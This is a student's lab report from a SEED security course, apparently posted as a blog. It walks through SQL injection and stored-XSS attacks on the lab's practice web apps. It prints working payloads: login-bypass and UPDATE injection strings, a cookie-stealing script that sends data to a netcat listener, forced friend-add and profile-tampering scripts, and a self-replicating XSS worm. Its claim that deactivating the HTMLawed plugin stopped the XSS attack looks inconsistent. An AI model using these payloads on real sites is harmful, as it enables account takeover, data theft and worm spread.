20252807 2025-2026-2 《网络攻防实践》实践十报告

1.实践内容

一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在
www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
·熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
·对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
·对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
·SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
·发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
·弹窗显示cookie信息:将cookie信息显示。
·窃取受害者的cookies:将cookie发送给攻击者。
·成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
·修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
·编写XSS蠕虫。
·对抗XSS攻击。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

下载SEEDUbuntu-16.04-32bit.zip:https://seedsecuritylabs.org/lab_env.html
创建新虚拟机,选择现有磁盘:SEEDUbuntu-16.04-32bit.vmdk,
成功创建新虚拟机:
af8429aeba07dc8693b575b1781a634a
修改主机名为qk:
b1a13082f275b86444f2f7f5596dbe84

2.1.1 熟悉SQL语句

登录数据库:输入命令mysql -u root -p,密码为seedubuntu。
914d59ce4877b12aa015780b5011f3a2
输入命令show databases;查看mysql中的数据库:
8ffc2bf9d72cab892172a205efc92c57
输入命令use Users;show tables;查看Users数据库和表:
b35e3f0a6c1c258afbdae0338e830e0c
查看可发现有credential表。
输入命令select * from credential;,查看credential中的所有条目:
d4ff6e279648398110bb63c4a8a97187
17902a4118944f88d13ca992395f35a8
输入命令select * from credential where Name = 'Alice';, 查询Name为Alice的相关记录:
670c4328e676e7d5a1a7762d534ee88d

2.1.2 对SELECT语句的SQL注入攻击

进入网页:www.SEEDLabSQLInjection.com ,看到如下界面:
180cd82b40341da0cc2936f1095c44f9
打开开发者模式,随意输入用户名和密码,我这里输入的是qk和2807,可以看到登录过程中是使用get请求访问unsafe_home.php:221bffb022a63ff486ef0428679d7c60
打开unsafe_home.php:
247b351dfb42068208e012b3ae603b76
4501bef98da1b4de0e01cc5b836222ab
5de183994f6dbd95fcab44de3167423a
分析代码可以看到:直接将用户输入拼接到SQL语句中,并且当用户输入 Admin'# 时,实际执行的SQL变为:SELECT ... FROM CREDENTIAL WHERE name='Admin'#'。只要数据库中存在用户名为Admin的记录,攻击者即可绕过密码验证,直接获取管理员权限。
所以,构造用户名Admin'#即可看到User Details的界面:
dedca4b865d51658cd952ac531c9c63a
025fd32b5359e4d113bc3bc1b19004eb

2.1.3 对UPDATE语句的SQL注入攻击

进入edit profile界面查看源代码,可看到是使用get请求访问unsafe_edit_backend.php:
5a64ad760d5e7714fe0b38a4d81dad45
打开unsafe_edit_backend.php查看:
e35822fc9956aa4aef70aaacecc01d7c
构造 $input_nickname 的值等于', Salary='20252807' where name='Admin'#来进行SQL注入攻击,填写在nickname上,可以查看到Admin的薪水变为了20252807:
72f6fb6383ccb3d2a09f2faace81a1d5

2.1.4 SQL对抗:修复上述SQL注入攻击漏洞

将unsafe_home.php提高文件权限
085de323160d1894ca92ab9439e5617f

修改unsafe_home.php中的语句为如下:

$sql = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name= ? and Password=?;");
$sql->bind_param("ss",$input_uname,$hashed_pwd);

fa0c79b9a1d0d4a71cd60795704d391c
测试输入Admin’#:
aa3b8b51750f98938b5661ee7c9523aa
e47fb6aa7979f7526f199272371bfbc3
漏洞修复成功。

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 发布恶意消息,显示警报窗口

打开网址: http://www.xsslabelgg.com
用户名:Alice,密码:seedalice
a3851301dfe33010e13b997140a99756
进入edit profile界面:
e08f3a0d9437f874e8b5d7fffe69240b
找到Brief description,输入XSS攻击代码:<script>alert("20252807");</script>
d1402d1b702ba49092300ab5ee13f52c
保存后直接跳出警报窗口:
dbf6312af3fc2f9d8a83b4afb7bbce1d

2.2.2 弹窗显示cookie信息

在Brief description中输入:

<script> alert(document.cookie);</script>

9de6c41704c921210d9c8e74941d3db1
保存后弹出cookie信息:
fbc83f58fe55b170a5a001d5f023de19

2.2.3 窃取受害者的cookies

输入指令nc -l 5555 -v监听端口5555:
5d4a6529e60de5a6b0b295096d920474

在Brief description中编写代码,js插入img标签:

<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>

23b3c9982c935c03da08b8b42a47ba30
保存后,监听显示:
46722a03823ba6c8dde637508526a94e
窃取成功。

2.2.4 成为受害者的朋友

找到boby,打开网络流信息,申请添加好友,可以看到id,ts和token三个信息:
d354056092bbb326d35fbbec1db0bf09
3af0bfa50cd2f739946f428efbaf2f10
boby的id为45。
remove boby的好友,根据刚才看到的URL构造payload,代码如下:

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

在about me中填写代码后保存:
f6a67656a1399464933d12b96b528bd6
看到Alice主页中,已经与boby成为好友了:
930de7d935bf1a9b3057bd004aa1490e

2.2.5 修改受害者的信息

在About Me中填写如下代码:

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>This have been cracked by qk.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	var aliceGuid=44;    
	if(elgg.session.user.guid!=aliceGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

e80d78f9a2b04b720a913e4f74534986
然后保存,登录Boby的账户,然后访问Alice主页,可以看到,Boby的主页被修改:
52f3134090913d4956a3f2e2400b96da

2.2.6 编写XSS蠕虫

在Alice的About Me中填写如下代码:

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>qk20252807"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
 
        var aliceGuid=44;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

这段代码是一个XSS蠕虫(跨站脚本蠕虫),主要功能是:当用户访问包含该脚本的页面时,它会自动将自身复制到当前用户的Elgg社交网络个人资料描述中,从而感染其他查看该资料的用户,实现自我传播。
11bd1479a8838f1f15f023db998f452d
保存后:
3cc4e68b4d4a0300555e93d91f4bdd7f
登录Boby账户:
b953b2134c48d9624f5d580358d9f6e2
已被修改

2.2.7 对抗XSS攻击

登录Admin账号,密码为seedelgg。打开网址www.xsslabelgg.com/admin,选择plugin,找到HTMLawed,从activate改为Deactivate:
516dc6c29af0941ee4fce1d672ad5a8e
重复一次XSS攻击:
a46eb173cb497c54be8eb32f6ae1204a
攻击失败。

3.学习中遇到的问题及解决

在第二部分elgg中,在about me里编写代码,一直攻击失败:
b341347b85ef837091fa665983c9dc75
4ae441497b73d09040283f9f5039276c
,后来发现是因为没有在edit HTML中编写,修改之后攻击成功:
ae1b03d2dbf4f518342ec926e512a061

4.实践总结

本次实验我学习了SQL注入攻击和XSS跨站脚本攻击,利用用户输入未过滤的漏洞,可以进行SQL注入攻击,在UPDATE语句中注入恶意代码篡改薪资信息;XSS实验中,我编写蠕虫脚本,实现了cookie窃取、强制加好友和资料篡改,凸显了存储型XSS的危害。我也学会了防御的方法,收获颇丰。

posted @ 2026-05-12 14:03  Aukeeke  阅读(56)  评论(0)    收藏  举报